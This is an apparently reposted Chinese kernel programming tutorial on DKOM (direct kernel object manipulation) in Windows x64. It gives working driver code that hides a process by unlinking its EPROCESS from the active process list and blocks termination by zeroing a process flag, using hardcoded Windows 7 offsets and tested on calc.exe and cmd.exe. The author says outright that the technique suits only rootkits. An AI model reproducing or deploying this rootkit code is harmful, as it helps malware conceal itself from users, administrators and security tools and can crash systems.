Win64 驱动内核编程-21.DKOM隐藏和保护进程

DKOM隐藏和保护进程

主要就是操作链表,以及修改节点内容。

DKOM 隐藏进程和保护进程的本质是操作 EPROCESS 结构体,不同的系统用的时候注意查下相关定义,确定下偏移,下面的数据是以win7 64为例。

关 注 两 个 成 员 : ActiveProcessLinks 和 Flag 

ActiveProcessLinks 把各个EPROCESS 结构体连接成“双向链表”,ZwQuerySystemInformation枚举进程时就是枚举这条链表,如果将某个 EPROCESS 从中摘除,ZwQuerySystemInformation就无法枚举到被摘链的进程了,而依靠此函数的一堆 RING3 的枚举进程函数也失效了;而把Flag 置 后,OpenProcess 函数就会返回失败。不过需要注意的是,用 用 DKOM  来保护进程会有很大的隐患,比如用 调用 CreateProcess  会 失败,而且 进程 退出 但 不取消保护的话,有一定机率导致蓝屏。一句话,DKOM  保护进程 和 隐藏进程 只适用于 ROOTKIT ,而不适用于正规软件。实现隐藏进程和保护进程的代码如下:

NTKERNELAPI NTSTATUS PsLookupProcessByProcessId(HANDLE ProcessId, PEPROCESS *Process);
NTKERNELAPI CHAR* PsGetProcessImageFileName(PEPROCESS Process);
 
//目标进程
PEPROCESS audiodg=NULL, dwm=NULL;
ULONG op_dat;
 
//偏移定义
#define PROCESS_ACTIVE_PROCESS_LINKS_OFFSET	0x188
#define PROCESS_FLAG_OFFSET	0x440
 
//获得EPROCESS
PEPROCESS GetProcessObjectByName(char *name)
{
SIZE_T i;
for(i=100;i<20000;i+=4)
{
NTSTATUS st;
PEPROCESS ep;
st=PsLookupProcessByProcessId((HANDLE)i,&ep);
if(NT_SUCCESS(st))
{
char *pn=PsGetProcessImageFileName(ep);
if(_stricmp(pn,name)==0)
return ep;
}
}
return NULL;
}
 
//摘除双向链表的指定项
VOID RemoveListEntry(PLIST_ENTRY ListEntry)
{
KIRQL OldIrql;
OldIrql = KeRaiseIrqlToDpcLevel();
if (ListEntry->Flink != ListEntry &&
ListEntry->Blink != ListEntry &&
ListEntry->Blink->Flink == ListEntry &&
ListEntry->Flink->Blink == ListEntry) 
{
ListEntry->Flink->Blink = ListEntry->Blink;
ListEntry->Blink->Flink = ListEntry->Flink;
ListEntry->Flink = ListEntry;
ListEntry->Blink = ListEntry;
}
KeLowerIrql(OldIrql);
}
//隐藏进程
VOID HideProcess(PEPROCESS Process)
{
RemoveListEntry((PLIST_ENTRY)((ULONG64)Process+PROCESS_ACTIVE_PROCESS_LINKS_OFFSET));
}
 
//保护进程
ULONG ProtectProcess(PEPROCESS Process, BOOLEAN bIsProtect, ULONG v)
{
ULONG op;
if(bIsProtect)
{
op=*(PULONG)((ULONG64)Process+PROCESS_FLAG_OFFSET);
*(PULONG)((ULONG64)Process+PROCESS_FLAG_OFFSET)=0;
return op;
}
else
{
*(PULONG)((ULONG64)Process+PROCESS_FLAG_OFFSET)=v;
return 0;
}
}
 
VOID test()
{
audiodg=GetProcessObjectByName("calc.exe");DbgPrint("calc: %p
",audiodg);
if(audiodg)
{
op_dat=ProtectProcess(audiodg,1,0);
ObDereferenceObject(audiodg);
}
dwm=GetProcessObjectByName("cmd.exe");DbgPrint("cmd: %p
",dwm);
if(dwm)
{
HideProcess(dwm);
ObDereferenceObject(dwm);
}
}


执行结果:计算器结束不了,cmd.exe没有进程


但是cmd有这个:

 

原文地址:https://www.cnblogs.com/csnd/p/12062002.html